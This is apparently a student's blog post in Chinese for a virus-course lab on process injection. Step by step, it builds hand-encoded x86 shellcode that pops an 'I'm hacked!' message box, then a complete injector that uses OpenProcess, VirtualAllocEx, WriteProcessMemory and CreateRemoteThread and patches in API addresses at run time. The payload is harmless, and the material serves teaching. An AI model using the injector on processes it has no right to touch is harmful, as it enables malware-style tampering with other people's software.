病毒实验三
title: viruslab3
date: 2016-01-05 20:13:57
categories: virus
tags: virus
进程注入
工具:vs2012 ollydbg
part1
- 编写二进制代码 弹出MessageBox对话框 并测试运行之
 要求:首先写汇编代码片段完成以下功能
 调用MessageBoxA()函数 弹出一个对话框 显示"I'm hacked!"字符串
 然后请提取出这些汇编代码的二进制编码 放到全局字符数组char code[]中
 测试运行之 确保无误
 参考:下面是用c语言编写的调用MessageBoxA的代码片段
 MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_Ok);
 可以使用下面的c语言程序来测试二进制代码数组
	#include<windows.h>
	char *s="I'm hacked";
	char code[]={0x__,0x__,0x__...};
	void main()
	{
	int op;
	VirtualProtect(
	&code[0],
	sizeof(code),
	PAGE_EXECUTE_READWRITE,
	&op
	);
	__asm{
	  call offset code
	}
	} 
part1报告
	#include<windows.h>
	char *s = "I'm hacked!";
	//寻找地址的时候 发现0x0040A000处是乱码
	//0x0040A004才是s串的第一个ascii码
	//另外注意链接的时候关闭动态基址
	char code[]={
	0x6A,0x00,//push MB_OK
	0x68,0x04,0xA0,0x40,0x00,//push s
	0x68,0x04,0xA0,0x40,0x00,//push s
	0x6A,0x00,//push 0
	0xFF,0x15,0x08,0x71,0x40,0x00
	,0xc3
	};
	void main()
	{
	int op;
	MessageBoxA(0,s,s, MB_OK);
	VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
	__asm{
	  call offset code
	}
	}
part2
- 
请修改part1中生成的放置在char code[]中的二进制代码 使这段代码在运行时不依赖产生代码进程的全局字符串 
 例如在part1参考程序中 不能再使用char* s="I'm hacked!";这样的全局字符串
 要求:正确提取二进制代码数组 并且测试运行
- 
提示:char code[]二进制代码不能使用全局字符串 但是代码自身可以在运行时动态产生字符串 
 请先阅读下列调用LoadLibraryA("msg.dll")的汇编代码 思考代码如何在运行栈上动态构造字符串
 并且如何将字符串的首地址参数传递给系统API 请采用同样的方法改写pat1中的二进制代码
 使char code[]代码在运行时不需要依赖目标进程中的全局字符串
part2报告
	#include<windows.h>
	char code[]={
	0x55,//push ebp
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,//mov [ebp-0x18],'I'
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,//mov [ebp-0x0d],0x0
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x6A,0x00,//push 0
	0x50,//push eax
	0x50,//push eax
	0x6a,0x00,//push 0
	0xff,0x15,0x08,0x71,0x40,0x00,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	0xc3//retn
	};
	//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
	__declspec(naked) void main()
	{
	int op;
	__asm{
	push ebp
	mov ebp,esp
	sub esp,0x20
	mov [ebp-0x18],'I'
	mov [ebp-0x17],'\''
	mov [ebp-0x16],'m'
	mov [ebp-0x15],' '
	mov [ebp-0x14],'h'
	mov [ebp-0x13],'a'
	mov [ebp-0x12],'c'
	mov [ebp-0x11],'k'
	mov [ebp-0x10],'e'
	mov [ebp-0x0f],'d'
	mov [ebp-0x0e],'!'
	mov [ebp-0x0d],0x0
	lea eax,[ebp-0x18]
	push 0x0
	push eax
	push eax
	push 0x0
	call dword ptr [MessageBoxA]
	add esp,0x20
	mov esp,ebp
	pop ebp
	}
	VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
	__asm{
	call offset code
	retn
	}
	}
part3
- 
考虑带远程进程的内存空间中可能还没有加载user32.dll 即没有MessageBoxA函数 无法让二进制代码来调用 
 为了能够使二进制代码在远程进程中正确运行 需要在二进制代码中添加新的指令 来调用LoadLibraryA()与GetProcAddress()等系统API函数
 来动态加载user32.dll 并且得到MessageBoxA函数的地址 请进一步完善保存在char code[]中的二进制代码
 使之在user32.dll未加载的情况下 仍然能够正确弹出MessageBox对话框 最后测试运行参考:请分析下面的c语言代码 写出相应的汇编代码 然后手动编译成二进制代码 放入char code[]数组 hModuser32=LoadLibraryA("user32.dll"); //LoadLibraryA()载入指定的动态链接库 将它映射到当前进程使用的地址空间 //一旦载入 便可访问库内的资源 成功返回句柄 失败0 //一般不需要的时候 应该记得用FreeLibrary函数释放DLL hProc=GetProcAddress(hModuser32,"MessageBoxA"); //GetProcAddress()检索指定的动态链接库(DLL)中的输出库函数地址 成功返回函数地址 失败返回NULL hProc(0,"I'm hacked!","I'm hacked!",MB_OK);
- 
提示:因为LoadLibraryA()与GetProcAddress()函数同属于系统核心链接库kernel32.dll 一般情况下 
 在绝大多数的进程中的kernel32.dll的基址都是相同的 因此我们可以观察任何一个进程 发现并记录这两个函数的入口地址
 假设LoadLibraryA的入口地址为oxAAAABBBB 那么我们可以采用下列汇编指令直接调用这个APIpush <"user32.dll"字符串的首地址> mov eax,0xAAAABBBB call eax同样我们可以得到GetProcAddress的入口地址 直接调用 
- 
注意:call指令有两种不同的调用 一种是编码FF15打头的通过内存读取的间接跳转 
 call dword ptr [0xYYYYZZZZ]
 另一种是通过寄存器的间接跳转
 mov eax,0xZZZZAAAA
 call eax
part3报告
	#include<windows.h>
	char code[]={
	0x55,//push ebp            LoadLibraryA("user32.dll");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x75,
	0xc6,0x45,0xe9,0x73,
	0xc6,0x45,0xea,0x65,
	0xc6,0x45,0xeb,0x72,
	0xc6,0x45,0xec,0x33,
	0xc6,0x45,0xed,0x32,
	0xc6,0x45,0xee,0x2e,
	0xc6,0x45,0xef,0x64,
	0xc6,0x45,0xf0,0x6c,
	0xc6,0x45,0xf1,0x6c,
	0xc6,0x45,0xf2,0x00,
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x50,//push eax
	0xb8,0x64,0x28,0xa0,0x75,
	0xff,0xd0,//call eax
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp                GetProcAddress(hModUser32,"MessageBoxA");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x4d,
	0xc6,0x45,0xe9,0x65,
	0xc6,0x45,0xea,0x73,
	0xc6,0x45,0xeb,0x73,
	0xc6,0x45,0xec,0x61,
	0xc6,0x45,0xed,0x67,
	0xc6,0x45,0xee,0x65,
	0xc6,0x45,0xef,0x42,
	0xc6,0x45,0xf0,0x6f,
	0xc6,0x45,0xf1,0x78,
	0xc6,0x45,0xf2,0x41,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x51,//push eax
	0x50,
	0xb8,0x37,0x18,0xa0,0x75,
	0xff,0xd0,
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp             MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x6a,0x00,//push 0
	0x51,
	0x51,
	0x6a,0x00,
	0xff,0xd0,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp	
	0xc3
	};
	//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
	__declspec(naked) void main()
	{
	printf("%p\n",LoadLibraryA);
	printf("%p\n",GetProcAddress);
	int op;
	__asm{//            LoadLibraryA("user32.dll");
	push ebp 
	mov ebp,esp
	sub esp,0x20	
	mov [ebp-0x18],'u'
	mov [ebp-0x17],'s'
	mov [ebp-0x16],'e'
	mov [ebp-0x15],'r'
	mov [ebp-0x14],'3'
	mov [ebp-0x13],'2'
	mov [ebp-0x12],'.'
	mov [ebp-0x11],'d'
	mov [ebp-0x10],'l'
	mov [ebp-0x0f],'l'
	mov [ebp-0x0e],0x0
	lea eax,[ebp-0x18]
	push eax
	mov eax,0x75a02864
	call eax
	add esp,0x20
	mov esp,ebp
	pop ebp	
	}
	__asm{//              GetProcAddress(hModUser32,"MessageBoxA");
	push ebp 
	mov ebp,esp
	sub esp,0x20	
	mov [ebp-0x18],'M'
	mov [ebp-0x17],'e'
	mov [ebp-0x16],'s'
	mov [ebp-0x15],'s'
	mov [ebp-0x14],'a'
	mov [ebp-0x13],'g'
	mov [ebp-0x12],'e'
	mov [ebp-0x11],'B'
	mov [ebp-0x10],'o'
	mov [ebp-0x0f],'x'
	mov [ebp-0x0e],'A'
	mov [ebp-0x0d],0x0
	lea ecx,[ebp-0x18]
	push ecx
	push eax
	mov eax,0x75a01837
	call eax
	add esp,0x20
	mov esp,ebp
	pop ebp	
	}
	__asm{//               MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	push ebp
	mov ebp,esp
	sub esp,0x20
	mov [ebp-0x18],'I'
	mov [ebp-0x17],'\''
	mov [ebp-0x16],'m'
	mov [ebp-0x15],' '
	mov [ebp-0x14],'h'
	mov [ebp-0x13],'a'
	mov [ebp-0x12],'c'
	mov [ebp-0x11],'k'
	mov [ebp-0x10],'e'
	mov [ebp-0x0f],'d'
	mov [ebp-0x0e],'!'
	mov [ebp-0x0d],0x0
	lea ecx,[ebp-0x18]
	push 0x0
	push ecx
	push ecx
	push 0x0
	call eax
	add esp,0x20
	mov esp,ebp
	pop ebp
	}
	VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
	__asm{
	call offset code
	retn
	}
	}
part4
- 请编写注入器代码inj.c 将part3产生的二进制代码 即char code[]数组注入到某一进程中 并创建线程运行之
- 提示
- 请先在远程进程中分配一块可以执行的内存区域 请使用API函数VirtualAllocEx()
- 将code数组写入 WriteProcessMemory()
- 创建远程线程运行之 CreatRemoteThread()
 
part4报告
	#include <windows.h>
	BYTE code[]={
	0x55,//push ebp                LoadLibraryA("user32.dll");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x75,
	0xc6,0x45,0xe9,0x73,
	0xc6,0x45,0xea,0x65,
	0xc6,0x45,0xeb,0x72,
	0xc6,0x45,0xec,0x33,
	0xc6,0x45,0xed,0x32,
	0xc6,0x45,0xee,0x2e,
	0xc6,0x45,0xef,0x64,
	0xc6,0x45,0xf0,0x6c,
	0xc6,0x45,0xf1,0x6c,
	0xc6,0x45,0xf2,0x00,
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x50,//push eax
	0xb8,0x44,0x28,0xF9,0x75,
	0xff,0xd0,//call eax
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp                GetProcAddress(hModUser32,"MessageBoxA");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x4d,
	0xc6,0x45,0xe9,0x65,
	0xc6,0x45,0xea,0x73,
	0xc6,0x45,0xeb,0x73,
	0xc6,0x45,0xec,0x61,
	0xc6,0x45,0xed,0x67,
	0xc6,0x45,0xee,0x65,
	0xc6,0x45,0xef,0x42,
	0xc6,0x45,0xf0,0x6f,
	0xc6,0x45,0xf1,0x78,
	0xc6,0x45,0xf2,0x41,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x51,//push eax
	0x50,
	0xb8,0x17,0x18,0xF9,0x75,
	0xff,0xd0,
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp             MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x6a,0x00,//push 0
	0x51,
	0x51,
	0x6a,0x00,
	0xff,0xd0,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp	
	0xc3
	};
	int main(int argc, char *argv[])
	{	
	int     PID         = 0;
	HANDLE  hProcess    = 0; 
	PBYTE   pCodeRemote = NULL;
	DWORD   dwNumBytesXferred = 0;
	PBYTE   pCode      = NULL;
	DWORD   dwSizeOfCode = 0;
	HANDLE  hThread	   = 0;
	DWORD   dwThreadId = 0;
	int	    exitcode   = 0;
	printf("%p\n",LoadLibraryA);
	printf("%p\n",GetProcAddress);
	if (argc < 2) {
		printf("Usage: %s pid\n", argv[0]);
		return -1;
	}
	PID = atoi(argv[1]);
	if (PID <= 0) {
		printf("[E]: pid should be greater than zero!\n"); 
		return -1;
	}
	pCode = (PBYTE)code;
	dwSizeOfCode = sizeof(code);
	//打开远程进程
	printf("[I]: Opening remote process %d......", PID); 
	hProcess = OpenProcess(PROCESS_CREATE_THREAD 
		| PROCESS_QUERY_INFORMATION
		| PROCESS_VM_OPERATION 
		| PROCESS_VM_WRITE 
		| PROCESS_VM_READ,
		FALSE, PID);
		
	if (hProcess == NULL) {
		printf("failed.\n"); 
		return -1;
	}   
	printf("ok.\n");
	//分配远程地址空间
	printf("[I]: Allocating remote memory with size of 0x%08x ......", 
		dwSizeOfCode);
	pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, 
			0, 
			dwSizeOfCode, 
			MEM_COMMIT, 
			PAGE_EXECUTE_READWRITE);		
	if (pCodeRemote == NULL) {
		printf("failed.\n");
		CloseHandle(hProcess);
		return -1;
	}
	printf("ok at 0x%08x.\n", pCodeRemote);
	//将code[]注入远程进程
	printf("[I]: Writing code ......");
	if (WriteProcessMemory(hProcess, 
			pCodeRemote, 
			pCode, 
			dwSizeOfCode, 
			&dwNumBytesXferred) == 0) {
		printf("failed.\n");
		VirtualFreeEx(hProcess, pCodeRemote,
				dwSizeOfCode, MEM_RELEASE);
		CloseHandle(hProcess);
		return -1;
	};
	printf("ok (%d bytes were written).\n", dwNumBytesXferred);
	//创建远程线程        
	printf("[I]: Creating a remote thread ......");
	hThread = CreateRemoteThread(hProcess, NULL, 0, 
			(LPTHREAD_START_ROUTINE) pCodeRemote,
			pCodeRemote, 0 , &dwThreadId);
	if (hThread == 0) {
		printf("failed.\n");
		if ( pCodeRemote != 0 )	
			VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
		if ( hThread != 0 )			
			CloseHandle(hThread);
		return -1;
	}
	printf("ok.\n");
	//等待远程线程执行 
	printf("[I]: Waiting the remote thread ......");
	WaitForSingleObject(hThread, INFINITE);
	GetExitCodeThread(hThread, (PDWORD) &exitcode);
	//退出	
	printf("exited with 0x%08X\n", exitcode);
	VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
	CloseHandle(hProcess);
	return 0;
	}
part5
- 由于每次系统重启后 进程空间kernel32.dll加载的基地址都会发生变化
 因此LoadLibraryA()与GetProcAddress()系统API的地址不是固定值 它们的入口地址会在关机重启发生变化
 这样一来 事先做好的二进制代码将会再次无法运行
 请在part4的基础上继续修改程序 使得注入程序能够自动的寻找它们的入口地址
 并且自动修正二进制代码中这两个函数的入口地址
part5报告
- 
OpenProcess 打开进程 
- 
VirtualAllocEx 分配远程地址空间 
- 
WriteProcessMemory 写数据 
- 
CreateRemoteThread 创建远程线程 
- 
WaitForSingleObject 等待远程线程执行 
- 
GetExitCodeThread 得到退出码 
- 
VirtualFreeEx 在其他进程中释放申请的虚拟内存空间 
- 
CloseHandle 关闭一个内核对象 
	#include <windows.h>
	BYTE code[]={
	0x55,//push ebp >>LoadLibraryA("user32.dll");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x75,
	0xc6,0x45,0xe9,0x73,
	0xc6,0x45,0xea,0x65,
	0xc6,0x45,0xeb,0x72,
	0xc6,0x45,0xec,0x33,
	0xc6,0x45,0xed,0x32,
	0xc6,0x45,0xee,0x2e,
	0xc6,0x45,0xef,0x64,
	0xc6,0x45,0xf0,0x6c,
	0xc6,0x45,0xf1,0x6c,
	0xc6,0x45,0xf2,0x00,
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x50,//push eax
	//0xb8,0x64,0x28,0xa0,0x75,
	0xb8,0xaa,0xbb,0xaa,0xbb,
	0xff,0xd0,//call eax
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp >>GetProcAddress(hModUser32,"MessageBoxA");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x4d,
	0xc6,0x45,0xe9,0x65,
	0xc6,0x45,0xea,0x73,
	0xc6,0x45,0xeb,0x73,
	0xc6,0x45,0xec,0x61,
	0xc6,0x45,0xed,0x67,
	0xc6,0x45,0xee,0x65,
	0xc6,0x45,0xef,0x42,
	0xc6,0x45,0xf0,0x6f,
	0xc6,0x45,0xf1,0x78,
	0xc6,0x45,0xf2,0x41,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x51,//push eax
	0x50,
	//0xb8,0x37,0x18,0xa0,0x75,
	0xb8,0xaa,0xbb,0xaa,0xbb,
	0xff,0xd0,
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp >>MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x6a,0x00,//push 0
	0x51,
	0x51,
	0x6a,0x00,
	0xff,0xd0,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp	
	0xc3
	};
	int main(int argc, char *argv[])
	{	
	int     PID         = 0;
	HANDLE  hProcess    = 0; 
	PBYTE   pCodeRemote = NULL;
	DWORD   dwNumBytesXferred = 0;
	PBYTE   pCode      = NULL;
	DWORD   dwSizeOfCode = 0;
	HANDLE  hThread	   = 0;
	DWORD   dwThreadId = 0;
	int	    exitcode   = 0;
	*(int *)(code+55) =(int)LoadLibraryA;
	*(int *)(code+127) =(int)GetProcAddress;
	if (argc < 2) {
		printf("Usage: %s pid\n", argv[0]);
		return -1;
	}
	PID = atoi(argv[1]);
	if (PID <= 0) {
		printf("[E]: pid should be greater than zero!\n"); 
		return -1;
	}
	pCode = (PBYTE)code;
	dwSizeOfCode = sizeof(code);
	//打开远程进程
	printf("[I]: Opening remote process %d......", PID); 
	
	//OpenProcess()用来打开一个已存在的进程对象 并返回进程的句柄
	hProcess = OpenProcess(PROCESS_CREATE_THREAD 
		| PROCESS_QUERY_INFORMATION
		| PROCESS_VM_OPERATION 
		| PROCESS_VM_WRITE 
		| PROCESS_VM_READ,//渴望得到的访问权限
		FALSE,//是否继承句柄
		PID);//进程标识符
		
	if (hProcess == NULL) {
		printf("failed.\n"); 
		return -1;
	}   
	printf("ok.\n");
	//分配远程地址空间
	printf("[I]: Allocating remote memory with size of 0x%08x ......", 
		dwSizeOfCode);
	//VirtualAllocEx返回分配内存的首地址 失败返回NULL	
	pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, //申请内存所在的进程句柄
			0, //保留页面的内存地址 一般用NULL自动分配
			dwSizeOfCode, //预分配的内存大小 字节单位
			MEM_COMMIT, //为特定的页面区域分配内存中的物理存储
			PAGE_EXECUTE_READWRITE);//区域包含可执行代码 应用程序可以读写该区域		
	if (pCodeRemote == NULL) {
		printf("failed.\n");
		CloseHandle(hProcess);
		return -1;
	}
	printf("ok at 0x%08x.\n", pCodeRemote);
	//将code[]注入远程进程
	printf("[I]: Writing code ......");
	
	//WriteProcessMemory写入某一进程的内存区域 入口区必须可以访问 否则失败
	if (WriteProcessMemory(hProcess, //由Openprocess返回的进程句柄
			pCodeRemote, //要写的内存首地址
			pCode, //指向要写的数据的指针
			dwSizeOfCode, //要写入的字节数
			&dwNumBytesXferred) == 0) {//实际写入数据的长度
		printf("failed.\n");
		
		//VirtualFreeEx在其他进程中释放申请的虚拟内存空间 成功返回非0 失败0
		VirtualFreeEx(hProcess,//目标进程的句柄
				pCodeRemote,//要释放的虚拟内存空间首地址的指针
				dwSizeOfCode, //虚拟内存空间的字节数
				MEM_RELEASE);//释放类型 完全回收
		CloseHandle(hProcess);
		return -1;
	};
	printf("ok (%d bytes were written).\n", dwNumBytesXferred);
	//创建远程线程        
	printf("[I]: Creating a remote thread ......");
	
	//CreateRemoteThread创建远程线程 返回新线程句柄 失败NULL
	hThread = CreateRemoteThread(hProcess,//线程所属进程的进程句柄 
			NULL,//线程安全指针
			0, //线程初始化大小 字节单位 0 默认系统大小
			(LPTHREAD_START_ROUTINE)pCodeRemote,//在远程进程的地址空间中 该线程的线程函数的起始地址
			pCodeRemote, //传递给线程函数的参数
			0 ,//线程创建标志 0 创建后立即运行
			&dwThreadId);//指向所创建线程句柄的指针
	if (hThread == 0) {
		printf("failed.\n");
		if ( pCodeRemote != 0 )	
			VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
		if ( hThread != 0 )			
			CloseHandle(hThread);
		return -1;
	}
	printf("ok.\n");
	//等待远程线程执行 
	printf("[I]: Waiting the remote thread ......");
	
	//WaitForSingleObject函数处于等待状态 直到指定对象被触发
	WaitForSingleObject(hThread, //对象句柄
	INFINITE);//对象被触发信号后 函数才返回
	
	//GetExitCodeThread获取一个已中止线程的退出代码
	//成功返回非0 失败返回0
	GetExitCodeThread(hThread,//想获得退出代码的一个线程的句柄
	(PDWORD) &exitcode);//用于装载线程退出代码的一个长整数变量
	//退出	
	printf("exited with 0x%08X\n", exitcode);
	VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
	CloseHandle(hProcess);//关闭一个内核对象 
	return 0;
	}
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号